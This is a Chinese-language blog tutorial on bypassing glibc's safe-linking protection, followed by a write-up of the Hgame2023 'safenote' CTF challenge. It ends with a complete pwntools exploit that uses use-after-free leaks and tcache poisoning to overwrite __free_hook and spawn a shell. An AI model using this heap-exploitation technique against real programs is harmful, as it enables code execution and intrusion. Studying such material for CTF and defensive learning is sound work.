safe-linking

文章发布时间:

最后更新时间:

文章总字数:
1.3k

预计阅读时间:
6 分钟

前言

低版本中 无论是tcachebin还是fastbin 只要我们修改fd域就可以将对应地址放置到链表上 威胁程度非常高

在libc2.32以后 saft-linking机制诞生 一定程度上缓解了这种现象的出现

其通过在chunk被释放到链表之前对fd域进行加密 取出后解密来实现堆块的存入和取出 并且有效遏制了用户在没有密匙的情况下篡改fd域从而实现任意地址申请的chunk

不过这个加密的手段比较简单 所以我们仍然有办法绕过这个机制 只需要获取其密匙就行了

源码解析

1
2
3
4
5
6
7
8
9
10
11
12
/* Safe-Linking:
Use randomness from ASLR (mmap_base) to protect single-linked lists
of Fast-Bins and TCache. That is, mask the "next" pointers of the
lists' chunks, and also perform allocation alignment checks on them.
This mechanism reduces the risk of pointer hijacking, as was done with
Safe-Unlinking in the double-linked lists of Small-Bins.
It assumes a minimum page size of 4096 bytes (12 bits). Systems with
larger pages provide less entropy, although the pointer mangling
still works. */
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

pos是指针本身的地址 ptr是指针的值

加密的公式翻译成中文形式也就是

1
(fd指针地址算术右移12位)异或(指针的值)

如果我们想要按照以前一样任意地址取出chunk 就需要在修改fd域的时候就按照这个加密办法

这也就意味着我们需要获取到堆的地址 这样才能伪造fd域

利用

你可能会想到申请两个chunk 释放进bin中 随后泄露其fd域 获取堆地址

这样当然可行 不过由于这个机制 我们泄露fd域的方法会更加简单 如果单纯释放一个chunk到tcache链表中

换做往常 其fd域值为0

image-20230304115401970

但是受到机制的影响 在2.32版本以后 此时的fd域应该是

1
(0x55b170682260>>12) ^ 0

image-20230304115848121

你会发现最后的结果也就是去除了后三位 这就意味着如果我们释放一个chunk到tcachebin中 再泄露出fd域 得到的值算术左移12位 就可以得到堆基址 因为堆基址是从当前页起始 也就是后三位固定为0 并且只申请一个chunk的话 大小总不会超过0x1000吧

image-20230304120306555

于是 如果我们想要通过tcachebin获取任意地址的堆块 只需要将对应地址异或(堆基址>>12) 前提是你没有申请超过0x1000大小的chunk 致使对应的chunk到了下一页

真题分析

Hgame2023-week3-safenote

题目环境2.32 做题环境ubuntu18 libc2.27

image-20230304120644302

1
2
3
4
5
一共给了四个函数
add函数 可以申请0xff大小以下的chunk
delete函数 释放chunk后并没有置零指针 存在UAF
edit函数 没有办法堆溢出
show函数 调用puts函数输出堆块内容

非常常规的一道题 无非就是利用UAF实现libc基址的泄露 并且利用tcache打hook

但是因为版本在libc2.32 所以有几个地方需要注意

由于最大只能申请0xff大小的chunk 并且没有办法chunk extend 所以这里采用填满tcache链表的办法使得chunk被释放到unsortedbin中

1
2
3
4
5
6
7
for i in range(8):
add(i,0x80)

delete(0)
show(0)
heap_addr = u64(io.recv(5).ljust(8,b'\x00'))<<12
success("heap_addr :"+hex(heap_addr))

同时我们可以多申请一个chunk 利用这个chunk来泄露堆基址

紧接着填满tcache链表后再释放一个chunk进入unsortedbin 从而泄露libc基址

1
2
3
4
5
6
7
8
9
10
11
12
add(8,0x10)          #防止unsortedbin合并
for i in range(1,8):
delete(i)

edit(7,'\x11')
show(7)
main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x11
success("main_arena_addr :"+hex(main_arena_addr))
libc_addr = main_arena_addr - (0x7fea010bfc00-0x7fea00edc000)
success("libc_addr :"+hex(libc_addr))
free_hook = libc_addr + libc.sym['__free_hook']
onegadget_addr = libc_addr + 0xdf54f

这里之所以要修改chunk7的最后一个字节再打印出来 是因为该版本的main_arena_addr+96最后一个字节是00 如果直接泄露的话 显然是会被截断

image-20230304121555666

接下来的任务就很简单了 打free_hook

1
2
3
4
5
6
7
payload = (heap_addr>>12)^(free_hook)
edit(6,p64(payload))
add(9,0x80)
add(10,0x80)
edit(10,p64(onegadget_addr))
delete(0)
io.interactive()

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import*
io = process("./pwn")
#io = remote("47.99.93.110",10001)
context.log_level = "debug"
libc = ELF("/home/chen/2.32-0ubuntu3.2_amd64/libc-2.32.so")
context.terminal = ['tmux','splitw','-h']
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()

def add(index,size):
io.sendlineafter("5. Exit",b'1')
io.sendlineafter("Index: ",str(index))
io.sendlineafter("Size: ",str(size))

def delete(index):
io.sendlineafter("5. Exit",b'2')
io.sendlineafter("Index: ",str(index))

def edit(index,content):
io.sendlineafter("5. Exit",b'3')
io.sendlineafter("Index: ",str(index))
io.sendafter("Content: ",content)

def show(index):
io.sendlineafter("5. Exit",b'4')
io.sendlineafter("Index: ",str(index))

for i in range(8):
add(i,0x80)

delete(0)
show(0)
heap_addr = u64(io.recv(5).ljust(8,b'\x00'))<<12
success("heap_addr :"+hex(heap_addr))
add(8,0x10)
for i in range(1,8):
delete(i)

edit(7,'\x11')
show(7)
main_arena_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x11
success("main_arena_addr :"+hex(main_arena_addr))
libc_addr = main_arena_addr - (0x7fea010bfc00-0x7fea00edc000)
success("libc_addr :"+hex(libc_addr))
free_hook = libc_addr + libc.sym['__free_hook']
onegadget_addr = libc_addr + 0xdf54f

payload = (heap_addr>>12)^(free_hook)
edit(6,p64(payload))
add(9,0x80)
add(10,0x80)
edit(10,p64(onegadget_addr))
delete(0)
io.interactive()